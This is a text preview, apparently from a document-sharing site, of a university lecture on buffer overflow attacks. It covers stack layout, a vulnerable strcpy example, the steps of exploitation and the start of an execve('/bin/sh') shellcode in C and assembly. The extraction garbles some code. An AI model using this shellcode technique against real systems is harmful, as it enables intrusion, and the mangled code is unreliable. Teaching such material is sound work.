网络安全5-缓冲区溢出攻击讲义

上传人:我** 文档编号:116676761 上传时间:2019-11-17 格式:PPT 页数:52 大小:358KB
返回 下载 相关 举报
网络安全5-缓冲区溢出攻击讲义_第1页
第1页 / 共52页
网络安全5-缓冲区溢出攻击讲义_第2页
第2页 / 共52页
网络安全5-缓冲区溢出攻击讲义_第3页
第3页 / 共52页
网络安全5-缓冲区溢出攻击讲义_第4页
第4页 / 共52页
网络安全5-缓冲区溢出攻击讲义_第5页
第5页 / 共52页
点击查看更多>>
资源描述

《网络安全5-缓冲区溢出攻击讲义》由会员分享,可在线阅读,更多相关《网络安全5-缓冲区溢出攻击讲义(52页珍藏版)》请在金锄头文库上搜索。

1、网络安全 罗 敏 武汉大学计算机学院 jsjgfzx 2 第4章 拒绝服务攻击 重点回顾 l拒绝服务攻击概述 l拒绝服务攻击分类 l服务端口攻击 l电子邮件轰炸 l分布式拒绝服务攻击DDoS 3 第5章 缓冲区溢出攻击 l本章介绍缓冲区溢出攻击的原理,通过具体实 例分析攻击UNIX系统和攻击WINDOWS系统 的特点和方法。 4 第5章 缓冲区溢出攻击 l5.1 缓冲区溢出攻击的原理 l5.2 缓冲区溢出程序的原理及要素 l5.3 攻击UNIX l5.4 攻击WINDOWS 5 缓冲区溢出攻击的原理 l定义 l缓冲区溢出攻击是一种通过往程序的缓冲区写 超出其长度的内容,造成缓冲区溢出,从而破

2、坏程序的堆栈,使程序转而执行其他预设指令 ,以达到攻击目的的攻击方法 第5章 第1节 6 缓冲区溢出攻击的原理 lMorris l1988年,美国康奈尔大学的计算机科学系研究 生、23岁的莫里斯利用Unix fingered程序不限 制输入长度的漏洞,输入512个字符后使缓冲器 溢出,同时编写一段特别大的恶意程序能以root (根)身份执行,并感染到其他机器上。它造 成全世界6000多台网络服务器瘫痪 第5章 第1节 7 缓冲区溢出程序原理及要素 l缓冲区溢出程序的原理 l众所周知,C语言不进行数组的边界检查 l在许多C语言实现的应用程序中,都假定缓冲区 的长度是足够的,即它的长度肯定大于要拷

3、贝 的字符串的长度 事实并非如此 第5章 第2节 8 缓冲区溢出程序原理及要素 l缓冲区溢出程序的原理 程 序 段 数 据 段 堆 栈 第5章 第2节 9 缓冲区溢出程序原理及要素 l缓冲区溢出程序的原理 l例 1 void proc(int i) int local; local=i; void main() proc(1); main:push 1 call proc proc:push ebp mov ebp,esp sub esp,4 mov eax,ebp+08 mov ebp-4,eax add esp,4 pop ebp ret 4 第5章 第2节 10 缓冲区溢出程序原理及要素

4、 l缓冲区溢出程序的原理 l例 2 void function(char *str) char buffer16; strcpy(buffer,str); void main() int t; char buffer128; for(i=0;i127;i+) bufferi=A; buffer127=0; function(buffer); printf(“This is a testn“); 第5章 第2节 11 缓冲区溢出程序原理及要素 l缓冲区溢出程序的原理 l例 2 压入堆栈中传递的参数 返回地址 少量存储单元 Buffer 16字节空间 A A 0x41414141 . 16个A 第

5、5章 第2节 12 缓冲区溢出程序原理及要素 l为了执行一段精心准备的程序,需要4个步 骤 l准备一段SHELLCODE l申请一个缓冲区,并将机器码填入缓冲区的低 端 l估算机器码在堆栈中的起始位置,并将这个位 置写入缓冲区的高端 l将这个缓冲区作为系统一个有着缓冲区溢出错 误的程序的一个入口参数,并执行这个有错误 的程序 第5章 第2节 13 缓冲区溢出程序原理及要素 l关键技术 l在程序的地址空间安排适当的代码 l将控制程序转移到攻击代码的方式 lFunction Pointers lActivation Records lLongjmp buffers l植入码和流程控制 l可执行的地

6、址空间 l代码段/数据段/堆栈段 lJVM 第5章 第2节 14 攻击UNIX lUNIX操作系统简介 lFreeBSD文件系统的路径组织结构 / 根文件系统,用于存储系统内核,启动管理和其他文件系统的装载点。 /bin 系统启动时需要的一些通用可执行程序。 /cdrom 光盘驱动器的装载点。 /compat 与系统兼容有关的内容,如系统模拟等。 /dev 设备入口点。在UNIX系统上,每个设备都作为一个文件来看待,这里放着 所有系统能够用到的各个设备 /etc 各种配置文件。非常重要的一个目录,所有的配置文件(可以看成是 WINDOWS的注册表)包括用户密码文档等存放在这里 /mnt 软盘等

7、其他文件系统的装载点。 /modules 内核可装载模块。 第5章 第3节 15 攻击UNIX lUNIX操作系统简介 l文件系统的路径组织结构 /proc 进程文件系统,存储指向当前活动进程的虚拟内存的伪文件。 /root root用户的工作目录。 /sbin 系统可执行文件。 /stand 独立执行的程序,sysinstall就在这个目录下。在安装配置系统时用到 /usr 第二个文件系统。基本上是和系统核心无关但又属于操作系统的一部分的一 个目录,大多数的应用程序,还有各用户的私有资料存放在这个子系统 /usr/bin 与系统启动无关的标准应用程序。 /usr/sbin 系统启动时不需要使

8、用的一些系统管理程序。 /usr/games 游戏。 /usr/home 用户目录。存放各个用户自己的文件。 第5章 第3节 16 攻击UNIX lUNIX操作系统简介 l文件系统的路径组织结构 /usr/include 程序需要的头文件。 /usr/lib 程序需要的库文件。 /usr/libexec 一些不由用户直接运行的执行程序,如ftpd telnetd 等服务 程序 /usr/man 帮助文件 /usr/X11R6 X-Windows系统 /usr/X11R6/bin 可执行的X-Windows程序 /usr/X11R6/include X-Windows程序的头文件。 /usr/X

9、11R6/lib X-Windows程序的库文件。 /usr/X11R6/man X-Windows程序的帮助文件。 第5章 第3节 17 攻击UNIX lUNIX操作系统简介 l文件系统的路径组织结构 /usr/share 各种共享的只读文件,大多数是一些系统信息,文档,包括 有FreeBSD手册等。 /usr/local 第三个子文件系统,不属于FreeBSD一部分的其他程序。 /var 存储经常发生变化的文件,如邮件,日志等。 /var/log 系统日志。 /var/mail 发给用户的信件。 /var/spool 缓冲数据,如打印数据等。 /var/tmp 临时文件。 第5章 第3节

10、18 攻击UNIX lUNIX操作系统简介 lUNIX系统的文件属性和存取权限 #ls -la # -rw-rw-rw- 1 root wheel 170 jan 7 19:46 mnk # -rw-r- 1 root wheel 18204 jan 8 20:34 nmap.tar.gz # -rwxr-xr- 1 candy user 1204 may 23 13:00 mysh.sh # drwx- 2 netdemon user 512 may 23 14:23 mydoc |-1-|-2-|-3-|-4-|-5-|-6-|-7-| 文件属性/文件数量/所有者/所属组/文件大小/文件修

11、改时间/文件名 第5章 第3节 19 攻击UNIX lUNIX操作系统简介 l核与Shell的交互 l启动 l登录 l执行命令 l退出 第5章 第3节 20 攻击UNIX lUNIX操作系统简介 lShell的功能和特点 l命令行解释 l使用保留字 l使用Shell元字符(通配符) l可处理程序命令 l使用输入输出重定向和管道 l维护变量 l运行环境控制 l支持Shell编程 第5章 第3节 21 攻击UNIX l攻击UNIX实例分析 lShell Code 的编写 void main() char *name2; name0 = “/bin/sh“; name1 = NULL; execve

12、(name0, name, NULL); 第5章 第3节 22 Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 :movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x80

13、00149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret 第5章 第3节 23 Dump of assembler code for function _execve: 0x80002bc : pushl %ebp 0x80002bd : movl %esp

14、,%ebp 0x80002bf : pushl %ebx 0x80002c0 : movl $0xb,%eax 0x80002c5 : movl 0x8(%ebp),%ebx 0x80002c8 : movl 0xc(%ebp),%ecx 0x80002cb : movl 0x10(%ebp),%edx 0x80002ce : int $0x80 0x80002d0 : movl %eax,%edx 0x80002d2 : testl %edx,%edx 0x80002d4 : jnl 0x80002e6 第5章 第3节 24 0x80002d6 : negl %edx 0x80002d8 :

15、 pushl %edx 0x80002d9 : call 0x8001a34 0x80002de : popl %edx 0x80002df : movl %edx,(%eax) 0x80002e1 : movl $0xffffffff,%eax 0x80002e6 : popl %ebx 0x80002e7 : movl %ebp,%esp 0x80002e9 : popl %ebp 0x80002ea : ret 0x80002eb : nop 第5章 第3节 25 攻击UNIX l攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序 leal string,string_

16、addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 string db “/bin/sh“,0 string_addr dd 0 null_addr dd 0 第5章 第3节 26 攻击UNIX l攻击UNIX实例分析 lShell Code 的编写 l汇编语言程序 l相对偏移 jmp 0x20 popl esi movb $0x0,0x7(%esi) movl %esi,0x8(%esi) movl $0x0,0xC(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%es

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 高等教育 > 大学课件

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号